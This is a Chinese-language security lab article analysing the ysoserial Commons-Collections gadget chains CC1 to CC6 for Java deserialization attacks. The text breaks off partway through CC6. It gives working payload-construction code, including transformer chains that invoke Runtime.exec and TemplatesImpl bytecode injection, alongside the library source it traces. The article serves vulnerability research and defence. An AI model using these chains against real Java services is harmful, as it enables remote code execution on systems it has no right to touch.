Ysoserial Commons-Collections 利用链分析 – 作者:深信服千里目安全实验室

Commons-Collections1

首先构造transformers反射链,调用ChainedTransformer方法封装transformers数组,串联三次反射。

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec",new Class[] { String.class }, execArgs)
};

final Transformer transformerChain = new ChainedTransformer(transformers);

InvokerTransformer sink点解析:
首先跟踪base sink点 InvokerTransformer#transform 方法,以及InvokerTransformer构造方法。在InvokerTransformer#transform(Object input)方法中调用了invoke方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
             
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

invoke方法存在三个输入点,分别是method对象,input和this.iArgs两个形参。其中input作为transform的传入参数(此参数是否可控取决于transform方法被调用时,传入参数是否可控)。this.iArgs是可以通过调用InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)构造方法进行赋值。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

method对象可以通过调用cls.getMethod(this.iMethodName, this.iParamTypes)获取,其中getMethod方法的两个形参,也均可以通过调用上述的InvokerTransformer构造方法进行赋值。此时的method方法可以是任意类中的任意方法对象。
此时,如果可以控制transform方法的传入参数,就可以通过invoke方法,调用任意类中的任意方法。

目前存在的问题:
(1)如果可以找到满足条件的transform方法,也仅仅可以调用一次反射。然而构造一个可以执行任意命令的恶意Runtime对象,需要调用三次反射。
(2)如何控制控制InvokerTransformer#transform方法的传入参数

针对问题1,工具作者找到了ChainedTransformer类。

通过调用ChainedTransformer构造函数,生成Transformer数组对象。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

且调用ChainedTransformer#transform方法,可以依次调用Transformer数组中的Transformer对象,因此完成transform三次反射方法的串联。

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

针对问题2,工具作者找到了ConstantTransformer类,通过调用ConstantTransformer构造方法,可以为iConstant属性赋值

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

由于ConstantTransformer继承Transformer接口,同样也可以装载到Transformer数组中,调用transform方法。ConstantTransformer#transform(Object input)方法会返回之前可控的iConstant属性,进而控制InvokerTransformer#transform方法的传入参数

此时调用装载四个transform对象的ChainedTransformer#transform方法时,则会触发反射,效果等价于下述代码。

Class clazz = Runtime.class;
Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(), new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]});
Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.getClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});

此时sink点梳理完毕,接下来需要找到一个可以调用到ChainedTransformer#transform方法的source。
工具作者找到了LazyMap类来调用transform方法。当调用LazyMap#get方法时,则会调用this.factory.transform(key)方法。

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

而其中的this.factory对象,可以通过调用decorate(Map map, Transformer factory)方法,进而调用LazyMap(Map map, Factory factory)构造方法进行控制

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

此时,仅需找到调用LazyMap#get(Object key)方法的入口,即可完成上述利用链的构造。

接下来作者找到了sun.reflect.annotation.AnnotationInvocationHandler入口类,在sun.reflect.annotation.AnnotationInvocationHandler#invoke方法中,调用了this.memberValues.get(var4)方法。

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

且在AnnotationInvocationHandler构造方法中,可以为this.memberValues属性赋值。

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

且AnnotationInvocationHandler继承Serializable,可以反序列化,跟踪一下反序列化入口的readObject方法。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

在readObject方法里调用this.memberValues.entrySet().iterator()方法,其中this.memberValues可以通过调用AnnotationInvocationHandler构造方法,赋值为LazyMap对象,且LazyMap对象被创建动态代理类,代理接口为Map.class,当调用Map.class类中的方法时,将会调用AnnotationInvocationHandler#invoke方法。entrySet方法是Map.class中的方法,因此会进入AnnotationInvocationHandler#invoke方法中,并调用this.memberValues.get(var4)方法,其中this.memberValues是LazyMap,因此完成了sink点的串联,完成整个gadget的构造。

Commons-Collections2

首先分析sink点,作者调用了自定义方法Gadgets.createTemplatesImpl生成TemplatesImpl对象。具体跟踪一下生成过程。
首先进入到Gadgets#createTemplatesImpl方法中。

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

在类中重载createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class)方法,并传入cmd恶意命令和org.apache.xalan.xsltc.trax.TemplatesImpl.class、org.apache.xalan.xsltc.runtime.AbstractTranslet.class、org.apache.xalan.xsltc.trax.TransformerFactoryImpl.class。重点跟踪一下cmd是如何被注入在利用链中。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

结合Javasist库的相关方法,分析createTemplatesImpl方法:

ClassPool pool = ClassPool.getDefault();  //创建一个ClassPool实例化对象,ClassPool是一个存放着代表class文件的CtClass类容器
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));  //将StubTransletPayload.class的路径加到类搜索路径中。(通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的问题)
pool.insertClassPath(new ClassClassPath(abstTranslet));  //同理,将org.apache.xalan.xsltc.runtime.AbstractTranslet.class的路径加到类搜索路径中。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());  //获取StubTransletPayload的CtClass对象,用于后续的编辑。
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";  //声明cmd属性对象,并注入传入的command参数。
clazz.makeClassInitializer().insertAfter(cmd);  //clazz.makeClassInitializer() -> 新增静态代码块。
                                                //insertAfter() -> 插入代码。
                                                //此段代码是将cmd变量中的代码,注入到StubTransletPayload类中的静态代码块中。
clazz.setName("ysoserial.Pwner" + System.nanoTime());  //修改类名(暂不清楚具体作用是什么)
CtClass superC = pool.get(abstTranslet.getName());  //获取org.apache.xalan.xsltc.runtime.AbstractTranslet对象(StubTransletPayload继承于org.apache.xalan.xsltc.runtime.AbstractTranslet)
clazz.setSuperclass(superC);  //将org.apache.xalan.xsltc.runtime.AbstractTranslet设置为StubTransletPayload的父类。
final byte[] classBytes = clazz.toBytecode();  将StubTransletPayload对象转换成byte数组。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});  //通过反射将StubTransletPayload对象的byte流赋值给_bytecodes属性中。
Reflections.setFieldValue(templates, "_name", "Pwnr");  //反射赋值
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());  //反射赋值工厂类。

总结上述流程,通过利用Javasist库,将恶意代码注入到自定义的StubTransletPayload类中,并将StubTransletPayload类转换成byte数组,通过反射赋值给org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性,最终返回TemplatesImpl对象。

总结上述流程,通过利用Javasist库,将恶意代码注入到自定义的StubTransletPayload类中,并将StubTransletPayload类转换成byte数组,通过反射赋值给org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性,最终返回TemplatesImpl对象。

此时,当实例化org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性中的类,即可触发恶意代码执行。作者找到了TemplatesImpl#newTransformer方法加载_bytecodes中的byte字节流。

public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

重点跟进分析调用的getTransletInstance方法。

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

首先调用defineTransletClasses()方法加载_bytecodes。

private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

_class[i] = loader.defineClass(_bytecodes[i]) 将_bytecodes属性中的恶意字节流,赋值给TemplatesImpl#_class属性中。
回到getTransletInstance方法中,调用_class[_transletIndex].newInstance() 方法,实例化_class字节流里的类,从而触发恶意代码。

现在,需要找到一个可以调用TemplatesImpl#newTransformer方法的方式。回想一下CommonsCollections1中的可以调用任意方法的InvokerTransformer#transform(object input)方法。

将TemplatesImpl对象作为transform方法的传入参数

将newTransformer赋值给InvokerTransformer#iMethodName

找到一个可以调用InvokerTransformer#transform(object input)方法的方式

满足上述三个条件,即可实现TemplatesImpl#newTransformer方法。

其中第二个条件可以通过反射来解决,重点在于找到一个可以满足条件一和条件三的source。这里工具作者找到了java.util.PriorityQueue作为入口类。从反序列化入口PriorityQueue#readObject方法进行分析。

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

调用heapify()方法。

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

调用siftDown(i, (E) queue[i])方法。

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);

这里存在一个判断逻辑,判断条件是PriorityQueue#comparator是否为空,执行siftDownUsingComparator方法。
进入siftDownUsingComparator方法中。

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

通过调用siftDownUsingComparator方法,可以调用任意实现java.util.Comparator接口的类的compare方法。
此时,我们需要找到一个实现java.util.Comparator接口,并且在compare方法中调用InvokerTransformer#transform方法的类。工具作者找到了org.apache.commons.collections4.comparators.TransformingComparator类。

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

通过调用TransformingComparator(Transformer<? super I, ? extends O> transformer)构造方法,可以为this.transformer赋值。

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
    this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

通过org.apache.commons.collections4.comparators.TransformingComparator类,满足了条件一(将TemplatesImpl对象作为transform方法的传入参数)和条件三(找到一个可以调用InvokerTransformer#transform(object input)方法的方式)。

至此完成整个利用链的构建。

Commons-Collections3

CommonsCollections3的source与CommonsCollections1的source相同,都是以sun.reflect.annotation.AnnotationInvocationHandler作为入口,通过创建Map动态代理类,通过调用sun.reflect.annotation.AnnotationInvocationHandler的invoke方法,从而调用LazyMap#get方法,控制实现Transformer接口下的任意类中的transform方法。

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

return handler;

CommonsCollections3的sink点构造思路则是和CommonsCollections2中的base sink点(将恶意字节流注入到org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性,等待调用TemplatesImpl#newTransformer方法) 。
Object templatesImpl = Gadgets.createTemplatesImpl(command);
CommonsCollections3的不同之处在于,Gadget作者找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类。在TrAXFilter(Templates templates)构造方法中,调用了templates.newTransformer()方法。

public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

仅需找到可以调用TrAXFilter(恶意Templates对象)方法即可。Gadget作者找到了InstantiateTransformer#transform(object input)方法,通过调用此方法实现TrAXFilter构造方法的调用。

final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } )
    }
);

与InvokerTransformer#transform方类似,InstantiateTransformer#transform(object input)方法会调用传入的object对象的构造方法。

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

如果transform方法的传入参数input可控,且iParamTypes(传入对象的构造方法)与iArgs(构造方法的传入参数)可控,即可调用任意类的构造方法。

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}

通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iArgs参数的控制。
目前的目标是调用TrAXFilter(恶意Templates对象)构造方法,通过构造上文提到的ChainedTransformer反射链,完成如下效果:
TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)
从而实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用。从而完成利用链的构造。

Commons-Collections4

CommonsCollections4的利用链构造是结合CommonsCollections2的source点(java.util.PriorityQueue)和CommonsCollections3的sink点(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)
sink:

Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
		paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

···

Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

source:

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

return queue;

这里存在一个问题:为什么不能像CommonsCollections3一样,在实例化ConstantTransformer对象时直接传入TrAXFilter对象,以及实例化InstantiateTransformer对象时,直接传入Templates.class和Templates对象?

由于PriorityQueue作为反序列化入口类,且装载恶意对象的queue属性设置了transient关键字,所以需要调用PriorityQueue#add方法为queue属性赋值,而在赋值的过程中,会调用comparator.compare(x, (E) e)方法。

public boolean add(E e) {
    return offer(e);
}

调用offer方法

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

调用siftUpUsingComparator方法

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

最终调用comparator.compare(x, (E) e)方法。

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

如果在调用add方法之前,调用ConstantTransformer(TrAXFilter.class)方法生成ConstantTransformer实例化对象,调用InstantiateTransformer(Templates.class, 恶意Templates对象)生成InstantiateTransformer实例化对象。在调用add方法是,会触发TransformingComparator#compare调用链,依次调用ConstantTransformer#transform方法,返回TrAXFilter对象。再调用InstantiateTransformer#transform方法,调用TrAXFilter.getConstructor((Templates.class).newInstance(templates)方法,从而在序列化之前触发了代码执行,并且抛出异常终止程序(正常流程是在服务器上反序列化,执行代码后抛出异常)。

因此为了避免程序在序列化之前中止,需要在调用add方法前,实例化不会抛出异常的正常ConstantTransformer实例化对象和InstantiateTransformer实例化对象。在执行add方法后,再通过反射将两个对象中的对应属性进行更改,完成序列化的正常运行。

CommonsCollections4的构造思路,结合CommonsCollections3的实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用的方式,生成一个恶意ChainedTransformer对象,再结合CommonsCollections2的source,通过调用PriorityQueue的构造方法,将恶意的ChainedTransformer对象赋值给PriorityQueue#comparator属性。

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

在PriorityQueue进行反序列化时,调用comparator.compare方法,从而调用TransformingComparator.compare,进而调用ChainedTransformer.transform方法完成sink点的调用,从而实现利用链的构造。

Commons-Collections5

首先构造transformers反射链,调用ChainedTransformer方法封装transformers数组,串联三次反射。

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), 
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 
new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)
};

实例化Map对象,调用LazyMap类中的decorate方法,将transformerChain对象赋值给LazyMap#factory属性。此时调用LazyMap#get方法,且传入的key对象不在map对象中,便可以触发上文提到的反射链。

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

实例化Map对象,调用LazyMap类中的decorate方法,将transformerChain对象赋值给LazyMap#factory属性。此时调用LazyMap#get方法,且传入的key对象不在map对象中,便可以触发上文提到的反射链。

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

利用链作者利用TiedMapEntry类封装LazyMap对象,并通过反序列化BadAttributeValueExpException类,控制BadAttributeValueExpException#val属性,调用任意类中的toString()方法。

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

在TiedMapEntry#toString()方法中调用TiedMapEntry#getValue方法,从而触发map.get(this.key)方法。

public String toString() {
    return this.getKey() + "=" + this.getValue();
}
public Object getValue() {
    return this.map.get(this.key);
}

至此完成整个利用链的构建。

Commons-Collections6

CommonsCollections6的sink链使用的依旧是InvokerTransformer反射接口,利用ChainedTransformer串联三次InvokerTransformer反射和ConstantTransformer接口,获取恶意的Runtime类。调用LazyMap.decorate方法,将恶意的ChainedTransformer赋值给LazyMap#factory,当调用LazyMap#get(Object key)方法,则会触发恶意代码的执行。(与CommonsCollections1、CommonsCollections5的sink点相同)

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
        new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

CommonsCollections6 gadget作者找到了TiedMapEntry类,其中在TiedMapEntry#getValue()方法中调用了this.map.get(this.key)方法。

public Object getValue() {
    return this.map.get(this.key);
}

调用TiedMapEntry(Map map, Object key)构造方法,可以为TiedMapEntry#map赋值

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

在TiedMapEntry中的equals(Object obj)、hashCode()、toString()方法中都调用了TiedMapEntry#getValue()方法。这里作者选择调用TiedMapEntry#hashCode()方法

public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

此时需要寻找一个调用hashCode()方法的类,并且可以串联反序列化入口类。这里Gadget作者找到了HashMap和HashSet。
在HashMap#put方法中,调用了hash方法,进而调用了hashcode方法。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在HashSet类的反序列化入口readObject方法中

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read capacity and verify non-negative.
    int capacity = s.readInt();
    if (capacity < 0) {
        throw new InvalidObjectException("Illegal capacity: " +
                                         capacity);
    }

    // Read load factor and verify positive and non NaN.
    float loadFactor = s.readFloat();
    if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    }

    // Read size and verify non-negative.
    int size = s.readInt();
    if (size < 0) {
        throw new InvalidObjectException("Illegal size: " +
                                         size);
    }

    // Set the capacity according to the size and load factor ensuring that
    // the HashMap is at least 25% full but clamping to maximum capacity.
    capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
            HashMap.MAXIMUM_CAPACITY);

    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
